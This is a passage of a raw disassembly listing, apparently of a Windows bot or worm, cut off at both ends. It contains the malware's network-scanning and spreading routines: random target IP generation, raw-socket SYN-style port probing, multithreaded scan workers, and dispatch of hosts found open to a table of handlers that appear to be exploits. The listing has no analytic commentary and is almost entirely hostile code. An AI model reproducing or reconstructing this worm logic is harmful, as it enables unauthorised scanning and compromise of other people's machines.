		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BD6
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402261
		mov	al, 1
		jmp	loc_422EEB
sub_422AF0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4236A0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_446F30
		mov	ecx, offset dword_447958
		setnz	bl
		call	sub_4014D3
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D6075
		call	sub_401848
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_444410[eax*4]
		inc	ecx
		mov	dword_444410[eax*4], ecx
		mov	al, 1
		retn
sub_4236A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423710	proc near		; CODE XREF: sub_401DF7j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50DAA8
		nop
		call	sub_69BB85
		mov	eax, offset dword_50DAA8
		add	esp, 2Ch
		retn
sub_423710	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4237D0	proc near		; CODE XREF: sub_401F37j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50BB50[esi*8]
		push	eax
		call	near ptr 71AB2BC0h
		nop
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	dword_50BB50[esi*8], eax
		pop	esi
		retn
sub_4237D0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423810	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423842
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423842:				; CODE XREF: sub_423810+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_50FABC
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_42387A
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_42387A:				; CODE XREF: sub_423810+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_423886
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_423886:				; CODE XREF: sub_423810+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_423892
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_423892:				; CODE XREF: sub_423810+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_42389C
		call	esi	; rand


loc_42389C:				; CODE XREF: sub_423810+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50BB50[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423810	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423900	proc near		; CODE XREF: sub_401E38j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42392E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42392E:				; CODE XREF: sub_423900+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		call	near ptr 71AB4519h
		nop
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		call	near ptr 71AB2DC0h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423900	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4239F0:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_4368E0
		push	ebx
		push	ebp
		mov	ebp, dword_50FC2C
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A28
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423B19
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423C18
; ---------------------------------------------------------------------------


loc_423B19:				; CODE XREF: ___:00423B0Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423B72
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	sub_69BB85
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B72:				; CODE XREF: ___:00423B37j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423BC3
		mov	edi, dword_50FC58


loc_423B9A:				; CODE XREF: ___:00423BC1j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423BF2
		cmp	[esp+0FEh], bp
		jnz	short loc_423B9A


loc_423BC3:				; CODE XREF: ___:00423B92j
		push	esi
		call	near ptr 71AB9639h
		nop
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423C13
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423BF2:				; CODE XREF: ___:00423BB7j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C13:				; CODE XREF: ___:00423BD3j
		push	offset dword_44463C


loc_423C18:				; CODE XREF: ___:00423B14j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423CC0:				; CODE XREF: ___:loc_401F23j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 2870914h
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:448F8Bh[eax*4]
		mov	eax, dword_44918F[eax*4]
		mov	ecx, dword_50BB54[eax*8]
		test	ecx, ecx
		jz	loc_423F6E
		mov	ebx, off_50FBF0


loc_423D3C:				; CODE XREF: ___:00423F64j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423D57
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423D5F
; ---------------------------------------------------------------------------


loc_423D57:				; CODE XREF: ___:00423D46j
		call	sub_401F37
		add	esp, 4


loc_423D5F:				; CODE XREF: ___:00423D55j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_50FC78
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_69BB85
		lea	ecx, [esp+238h]
		push	ecx
		push	ebp
		call	ebx ; sub_69BB85
		mov	edx, [esp+150h]
		mov	eax, [esp+14Ch]
		push	edx
		push	eax
		push	esi
		call	sub_401E38
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_423F4A
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423E6F
		push	offset dword_50DA90
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_69BB85
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423E4F
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423E2A
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423E47
; ---------------------------------------------------------------------------


loc_423E2A:				; CODE XREF: ___:00423E06j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423E47:				; CODE XREF: ___:00423E28j
		call	sub_401523
		add	esp, 10h


loc_423E4F:				; CODE XREF: ___:00423DFBj
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50DA90
		call	near ptr 7C9010EDh
		nop
		jmp	loc_423F4A
; ---------------------------------------------------------------------------


loc_423E6F:				; CODE XREF: ___:00423DC3j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_69BB85
		mov	eax, [esp+150h]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+200h]
		lea	edx, ds:4443E0h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_69BB85
		mov	al, [esp+0B8h]
		add	esp, 10h
		test	al, al
		jz	short loc_423EBC
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423EC9
; ---------------------------------------------------------------------------


loc_423EBC:				; CODE XREF: ___:00423EA8j
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423EC9:				; CODE XREF: ___:00423EBAj
		call	ebx ; sub_69BB85
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44440C[edx*4]
		add	esp, 0BCh


loc_423F4A:				; CODE XREF: ___:00423DB5j
					; ___:00423E6Aj
		push	7D0h
		call	near ptr 28C1E38h
		nop
		mov	eax, [ebp+204h]
		mov	ecx, dword_50BB54[eax*8]
		test	ecx, ecx
		jnz	loc_423D3C
		mov	esi, [esp+10h]


loc_423F6E:				; CODE XREF: ___:00423D30j
		push	esi
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 28D0000h
		nop
; ---------------------------------------------------------------------------
		db 0B0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_424030:				; CODE XREF: sub_402261j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50BB50[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_401483
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_4240B1
		push	offset dword_50DA90
		call	near ptr 2810000h
		nop
		push	offset dword_50DA90
		call	near ptr 2810534h
		nop


loc_4240B1:				; CODE XREF: ___:00424099j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_50F8D0
		mov	esi, ebx
		mov	dword_50BB54[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_50FBF0
		jb	loc_4241E0
		mov	edi, dword_50F860


loc_4240E2:				; CODE XREF: ___:004241DAj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_69BB85
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BD6
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F23
		push	0
		push	0
		mov	dword_44918F[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_44919F[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_44919F[eax*4]
		test	ecx, ecx
		jz	short loc_4241A8
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_4241CE


loc_424197:				; CODE XREF: ___:004241A4j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_424197
		jmp	short loc_4241CE
; ---------------------------------------------------------------------------


loc_4241A8:				; CODE XREF: ___:0042418Aj
		nop
		call	near ptr 28407DEh
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_69BB85
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_4241CE:				; CODE XREF: ___:00424195j
					; ___:004241A6j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_4240E2


loc_4241E0:				; CODE XREF: ___:004240D6j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42420E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_424241
; ---------------------------------------------------------------------------


loc_42420E:				; CODE XREF: ___:004241E9j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50BB54[ecx*8], esi
		jnz	short loc_424241


loc_424223:				; CODE XREF: ___:00424238j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50BB54[edx*8], esi
		jz	short loc_424223
		mov	eax, [esp+12Ch]


loc_424241:				; CODE XREF: ___:0042420Cj
					; ___:00424221j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50BB50[ecx*8]
		push	ecx
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_69BB85
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4242A2
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_401523
		add	esp, 10h


loc_4242A2:				; CODE XREF: ___:0042427Bj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50BB54[eax*8], 0
		call	ebp
		push	3
		call	sub_401483
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_4242E4
		push	offset dword_50DA90
		nop
		call	near ptr 2810000h


loc_4242E4:				; CODE XREF: ___:004242D7j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 28D0000h
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4243C0	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_4243C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4243E0:				; CODE XREF: ___:004015E1j
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401834
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424430	proc near		; CODE XREF: sub_401834j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424482
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_424482:				; CODE XREF: sub_424430+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_424430	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4244B0	proc near		; CODE XREF: sub_4021D5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424524
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424524:				; CODE XREF: sub_4244B0+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_4244B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424550	proc near		; CODE XREF: sub_4016B8j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_424563
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_424563:				; CODE XREF: sub_424550+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_424550	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424590	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_4245A7
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4245A7:				; CODE XREF: sub_424590+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	near ptr 77C2C407h
		nop
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_4245D5
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4245D5:				; CODE XREF: sub_424590+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424604
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42461F
; ---------------------------------------------------------------------------


loc_424604:				; CODE XREF: sub_424590+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42461F:				; CODE XREF: sub_424590+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_424590	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424680	proc near		; CODE XREF: sub_401B68j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
